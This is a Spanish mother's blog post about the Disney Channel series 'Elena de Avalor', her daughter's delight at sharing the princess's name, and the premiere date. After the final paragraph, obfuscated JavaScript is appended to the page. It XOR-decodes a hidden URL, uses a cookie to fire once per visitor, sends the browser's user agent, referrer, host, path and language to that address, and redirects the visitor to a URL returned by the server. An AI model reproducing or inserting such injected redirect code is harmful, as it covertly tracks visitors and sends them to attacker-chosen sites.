«Este otoño, en Disney Channel, Elena de Avalor». Esta frase-promo lanzada en el canal infantil la tiene grabada mi hija Elena desde que este verano descubrió que pronto habría una princesa con la que compartía nombre. «Mamá, se llama como yo», me dijo con cara de esto es lo mejor que puede pasar en la vida. Y es que me imagino que tiene que ser algo muy especial para una niña de 5 años, por eso está más que emocionada con este próximo estreno de esta serie.
Las princesas de Disney ya no son lo que eran, al menos en relación a mi época. Ahora son valientes, luchadoras, independientes, aventureras… ¡y eso le mola a mi hija, y a mí! Estas cualidades son las que reúne Elena de Avalor, el nuevo personaje femenino del universo Disney. Como novedad a las princesas que la han precedido, hay que decir que Elena de Avalor tiene raíces hispanas y, además de manejar con facilidad el sable, sabe tocar la guitarra. ¡Ahí es nada! Lo descubrimos mi hija y yo en el pase del primer capítulo de la serie, pero también nos enteramos de que Elena de Avalor tiene 16 años y ha vivido más de 40 atrapada en un amuleto por culpa de la hechicera Shuriki; que la princesa Sofía descubrió el secreto de la joya engastada en un amuleto, lo que permitió que Elena volviese a su forma humana y a su reino, y que desde ese momento, tiene una gran misión: aprender a goberar su reino y a cuidar de su familia.
Imagino que en un futuro habrá algo de amor, de hecho por ahí hay un personaje que tiene todas las papeletas de encajar a la perfección con Elena de Avalor y también algún familiar que esconde malas intenciones, pero por ahora habrá que esperar un poco. A cada niño le llamará la atención algo en concreto y diferente de esta nueva serie, pero a mi hija, además del nombre, lo que más le ha gustado de lo que ha visto hasta la fecha es que su protagonista tiene una mejor amiga, Naomi, y una hermana, Isabel, que aunque no es tan trasto como la suya, es muy lanzada y «tiene un diario» (¿Qué será lo próximo que me va a pedir “mi princesa Elena”?). A mí, particularmente, me ha encantado el papel relevante que los creadores le han dado a los abuelos de Elena de Avalor, ¡vamos, como la vida misma!
El estreno de Elena de Avalor está programado para el sábado 8 de octubre a las 9.45 horas en Disney Channel, así que ya sé con quién vamos a desayunar el próximo fin de semana, y es que, aunque ya hayamos visto el primer capítulo, eso no nos exime de verlo otra vez (y estoy convencida de que no será la última, je, je, je). var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}